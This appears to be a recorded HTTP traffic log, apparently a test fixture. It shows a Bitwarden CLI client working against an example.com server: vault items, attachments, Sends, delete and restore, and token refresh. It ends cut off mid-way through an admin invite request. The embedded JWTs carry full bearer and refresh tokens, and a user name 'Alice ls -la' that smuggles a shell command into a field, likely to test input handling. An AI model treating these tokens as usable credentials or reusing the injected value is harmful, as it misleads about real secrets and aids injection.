"{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.P99thPhZ8yi0obN+aJOgvA==|jzcU50oxWCuy4b2bPRw2+LDq5Og5lLCZOyvL5pMDc/E=|JiBejhJunSS+XVUW/Uo+vYidLb3zNfUhMVSWjiy42eo=\",\"notes\":\"2.Hw002B4MhHkPVO4JToKlxA==|1g9FwMpzT1UGBOncxX7shwm2yMxfUI0O9s49k4CV0/vVDBQrRaotpFPN0sxVn0OLggTmYFzq8dhWrAWO6DRa6A==|JY7HrcgYqrpOzZHw0czw3An+UkFU1kU7QsaDQqIcbbk=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\",\"reprompt\":0,\"key\":\"2.ZM+ErmwLiCetQLjk9t/Oqg==|Aa9GdluVzjeTt2qqFl6KbQ0ukwH1kMbAiz0/1bJd/NnT0EJ3fFlk4X1bscVzjIPSqGAt7ggEE+fDI6fTvkRxKSPrqsbDsNGX8JPW9vHx9Zk=|9duEQAJnwhB/E6uLsqQSlIRuGgDfagV30mOvvuj80P8=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.iOMlG/0XNVAHTmFrZddb8g==|Bt8bQs6w9epzMM7OuZ5dBgKCSEmURqZPFGgbXXm5ztI=|g7UF0P+YztGy6PytQFT6RXUjH1fdF7SG7R3DLVNhW/w=\",\"uriChecksum\":\"2.JN/HmEqKJhV803j+rHqs0A==|lfXikwVg+yqMt/lqqYvk0ukvhcNStZbQQQwhU9CmckJ9a0vcf5o+ML8CzOI1Cxg6|MMkk+eNG3l/JWWGHelMVH2h7xah6P5k0zlz7EyR/06o=\"}],\"username\":\"2.c+0PsXOl4s5B0+uhH4oE6w==|LXgqO7vSpM/j0eBShayQOA==|qIJJfQbJxnKMuVCuAJA3S2fmnzOGIweovHrwnKDOQJk=\",\"password\":\"2.FjnIHbhJGaoR2StT8coYkA==|WoAeX6Hw8CgMkwmjwEvVYMCcYZ2BKEpzECHz/6w9OlE=|TE5vJ8bmzqpUCqMrKbx8rz4qlS1k35tDVuVVLbvdkTg=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[{\"response\":null,\"type\":0,\"name\":\"2.zipY6yLZkD7MwvVSLiuyuA==|T+Wp7CrWBwn8PEzPcqcavw==|EbZounb3oq0nPunJ9y7AjPWHXzC/Ggi7rOHMKQPlJ3Y=\",\"value\":\"2.V4pDbZ3DNE4QWHq6rWMduw==|t6N7i9tEc7xWvyGh6bqj7hxiHg1Q1Uq7uOhzoR71vxc=|uohBxB9Z7on7oKLjdEjNPxqFIpdNdVWz7Mi8OJJXYfU=\"}],\"attachments\":{\"27064510a3e9ed1edca1\":\"2.F7lrsv4ucgMxXw65lX/0MQ==|KhQVy5AQjJ4SV8GdjAi1qw==|DFi1foiVzgOlem4WVpqdkzQlBrj1w7G9Z7B1KQTJgpo=\"},\"attachments2\":{\"27064510a3e9ed1edca1\":{\"fileName\":\"2.F7lrsv4ucgMxXw65lX/0MQ==|KhQVy5AQjJ4SV8GdjAi1qw==|DFi1foiVzgOlem4WVpqdkzQlBrj1w7G9Z7B1KQTJgpo=\",\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\",\"key\":\"2.pXQDG+au9m/hF4Gz0wGm9Q==|qjUHtPXPerxvYsoWCKcoTBDJhZrCWo23RmmKeglraQNLFZEPWlQslGmGfuwKQfm7qswjqcgQxi2CiBRG9esHcds4UfnyDmuEVqU5k6vxMrM=|2dLbqTZefL7q6L3aIbqL6ccGBBKVlZ4unOCsVMWIAyE=\"}}}"}
|
||||||
|
{"method": "GET", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/27064510a3e9ed1edca1", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Cache-Control: no-store", "Pragma: no-cache", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/attachments/7e721342-473b-4155-ba2f-c753499f0a63/27064510a3e9ed1edca1?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwMzIsImV4cCI6MTc5NDI4MjA5MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxmaWxlX2Rvd25sb2FkIiwic3ViIjoiN2U3MjEzNDItNDczYi00MTU1LWJhMmYtYzc1MzQ5OWYwYTYzIiwiZmlsZV9pZCI6IjI3MDY0NTEwYTNlOWVkMWVkY2ExIn0.hFu95tXJlLGjIcyFlyMXWWu5u7_ydoo77fYCi5c60vtgVYB6D7d9SWULqFNSCNPwf_SOjR_inp88mWFg1iH9s3y6g9AR_HcvMsdmDrioz-DDC_V54lrELUweDajL6wPBZrBI7Pi2OUIraJDzt_OZyeXdlw1VhlwWrm1MzvGxLBkDYMT8iHqeoWo78Of6qeJtBgpEPhQjaDgDALqyaYTR_-eVtqbJLGs3y8k75yQjj92ZjFMBDlXUpLWPEmDX_VfZsxUl-cm_YrpQ1Hmx_KqlcivwVQIBh4sRu7DFt-T2KBitRcihIKzksFZ46pJBaFnYw7oPo1BgP6dTd4eAlWLPVQ", "headers": ["Cache: no-cache", "Accept: */*", "User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/sends", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 588", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":0,\"name\":\"2.Glf0PYqRTgKbTbYgpI+Q+g==|wO4P+lM0rq5yx5N+xkn2GPygZNVhjavM9cEUx+/2v94=|A7qL3rWJYJ1SMF/bLBqsKCtRdAhLh03sOwsIQGeT9aU=\",\"notes\":null,\"maxAccessCount\":null,\"expirationDate\":null,\"deletionDate\":\"2026-11-17T03:40:35.145Z\",\"key\":\"2.SoeZ4DYOUa4BrN5D0TQXOg==|5+ezaYP0oWqGQ1Yek6IQgWrhuaYmNMmPllOSxGg6vkY=|s63lHmyzot7NxlrHTT7q4b5TxkePPUzRGHJXDt38dQI=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"text\":{\"response\":null,\"text\":\"2.TWB82gm1XTK1iTFEPabm9g==|Ujlmk+y66U+x+xlLYUI45H5LT9N4cS+QzWsM0muJ7eQ=|74rS/jBPmTXAZ2WgjfBtJDmhSPt41/xO3rjgAxFZEa4=\",\"hidden\":false}}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Accept: application/json", "Cache-Control: no-store", "Content-Type: application/x-www-form-urlencoded", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Content-Length: 90", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "client_id=send&grant_type=send_access&scope=api.send.access&send_id=DRVKX8U3Rpe3LZb9xIlbmw"}
|
||||||
|
{"method": "POST", "target": "/api/sends/access", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwMzcsImV4cCI6MTc5NDI4MjE1NywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiMGQxNTRhNWYtYzUzNy00Njk3LWI3MmQtOTZmZGM0ODk1YjliIn0.JlU6uKcOckWNUE5p83uG1S2VuX1_ZH4T8kN1E1WuI2z305ICMAaTPys7NNAMTSP0trBFJnaW_mKBTAu891oRiO_cESJYEE80jf9wHbD4bdm93gAlGncfOvjFI5HFWc2pGVn2IaeJMfGPCmcmtHRu8fO3CxiyKFGeukQWsUGHeYuIXUufNa-mY9AOWTLEqPI0LPEBTT6OSOZMu9LziwM0KOD-TdAzl1y4qP2nD5WkOL3tn6-GUi_nh2us1Z66hI3fWebNQQ5FT7bimUBmPtnWZBcQR3VCM7vlnOHdTstwFPytZ-QThg79_vK1xrD8Ut9FVzfVNXeAu2yJ-QmTlhpAtw", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/sends/file/v2", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 573", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"fileLength\":81,\"name\":\"2.fIOYeJ49y9bbSOIrTWB8Tg==|lG6dTyboxM1e9/rKOgjqj5M2K8LRDZkgK9PC7mY7+iM=|ovg9kGfYJiw+Z2fkoxlIGRUbLUQvZ7W6qKhg6Ii8eZY=\",\"notes\":null,\"maxAccessCount\":null,\"expirationDate\":null,\"deletionDate\":\"2026-11-17T03:40:40.356Z\",\"key\":\"2.e98n46q6Bbq67Cg8g+L2zg==|MPPYMlVRv6mjAEfJxdINlsbc1h1YjLBVxdqMp5RcwSM=|ptNOZ/K5QBYQfV5duCfbJyQLtDU+D9YWqMUIuBe7ZUY=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"file\":{\"response\":null,\"fileName\":\"2.hKZIecnzplq5vLcUpDnNiw==|ncRZKt9nZMucGFW9S+7VWQ==|35kqx0tvASf+JtuHDZ3l4zmlsr4DmZ9nEGwkUzmajUY=\"}}"}
|
||||||
|
{"method": "POST", "target": "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: multipart/form-data;boundary=--------------------------cd31a7a799e8e9553f39d744", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 416", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "----------------------------cd31a7a799e8e9553f39d744\r\nContent-Disposition: form-data; name=\"data\"; filename=\"2.hKZIecnzplq5vLcUpDnNiw==|ncRZKt9nZMucGFW9S+7VWQ==|35kqx0tvASf+JtuHDZ3l4zmlsr4DmZ9nEGwkUzmajUY=\"\r\nContent-Type: application/octet-stream\r\n\r\nAhGddhsKRanJRkfPJCMMp6ezfiWDHsnuvmwtF7N7UpvPnTnoowgSohWHxGCZ3ulQ8FxGy4JGqC5zUts9GZL/dLhORzIZirtS+le50pV3zlmx\r\n----------------------------cd31a7a799e8e9553f39d744--\r\n"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Accept: application/json", "Cache-Control: no-store", "Content-Type: application/x-www-form-urlencoded", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Content-Length: 90", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "client_id=send&grant_type=send_access&scope=api.send.access&send_id=zZ-UYEZUQQGMTBTwbx5prg"}
|
||||||
|
{"method": "POST", "target": "/api/sends/access/file/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwNDIsImV4cCI6MTc5NDI4MjE2MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiY2Q5Zjk0NjAtNDY1NC00MTAxLThjNGMtMTRmMDZmMWU2OWFlIn0.bBP1AOqOFHEZ9Kp5lnPPuoGpEUEVKbQe9w4LP8bVQR0mNzc8gf9X0YZ8TV8XU4rJatcvrJxf1YRPsuSL-M28cqIIBmzTXW9SzC9YwUe9DNH9zHmiTkgd9m7STn4_D8vCikyIGIpJj9wDWhNi3GGEtKjFC-luKlLS1F9KbLHhKC7iec6ZyaslQMCljBe7XeA7krTYy1ocvrAKCvkf5W_i3m7NjF-sYEvgxBg-rKHxVnJT893xvMBuAGtsnklmHEZbFZb3mgODOZ2SXAB8yOwWHQd8vcHV3Q4r7__dy2APzAgeKX1nuICV32qxs86hgkVwTTp8pldIaoJspD5dLkfexw", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc?t=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwNDIsImV4cCI6MTc5NDI4MjE2MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiY2Q5Zjk0NjAtNDY1NC00MTAxLThjNGMtMTRmMDZmMWU2OWFlLzVhMDg3YTUyZWFhNTc5NjU3YjA0ZWViNDQzZmU3ZDcwMTljOTcwNDE3MDZkMGRjNTA4Nzc4NGQwZTBmMjE2ZGMifQ.BvfmaV_eKuWeJSumz8-bXFCPsbWIZRCWB0Laoz6knCnInLj7YY4lxh2WY1h_gnp_pHjDOFKffmGxAlIjoeV_L2lMGxUZM-Fmcc1FOQNbphWfkdEMVfGUIX_todgUgXuhn9-uwAUdC4Ff9nif4Vdg6uVwW7lw7NaY9uym4vEUw1a3F_I7a3AI1S6k3bVrUCadJiBZV8vz2-66U3g4jgQaCpjgPF-7S7CyuaWcSIyuyZpwNxa3Zzvuz1ccOWxjxjhm8-n9jvMZ3FGDf7S6o86y-aOHVRMacu7ZwhvteAO3NIPtajnChwwso0Ay1pi_4va_Mmp-HV1gyd0jD43V-vSrSw", "headers": ["Cache: no-cache", "Accept: */*", "User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/delete", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/restore", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Accept: application/json", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 707", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "grant_type=refresh_token&client_id=cli&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5Njg3Mzk5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiN0ZTNW1CcHIxZlJoMHdkZFBNZ0JPTGxid3Q2aW1CeWZja2p3M29HcU9NZFVUc01OSDU5dlQ2a0daUm5tT0xSdUFfYTZnalVKUFJBLThvUUlleWg2ZHc9PSIsInRva2VuIjpudWxsfQ.g8yTHdeqO507J6r5lc-ImMnTgv4ijYZKSX9JguMcKSu3fphEgKp0rPv5q56SwocChSoP9KLo7mw_PzVKvFLBP70p0NIJ6SaT26GLCy9B04gI5kiNmUT00H4-1wHUDVC_OwVLNLuTpiX-U--GdEtSSdcOqSCSo7epRyP0cCIuoZoYiDHM8uVY5DiBkzAB5wVi-_xgZPOJHVzddNq9506LqBJngbF1Bo5tVn_R8WhLmKK7mtI9tm52eOZaa5o6TXn1nNgZ3oNXcWDcyf6tj_M2fkhFOzgsuMg6YdeydOO20_GCuC0OLccj8RCzAZlMh-goA1v_yQF2RmoXJqfKBEbubA"}
|
||||||
|
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 28", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 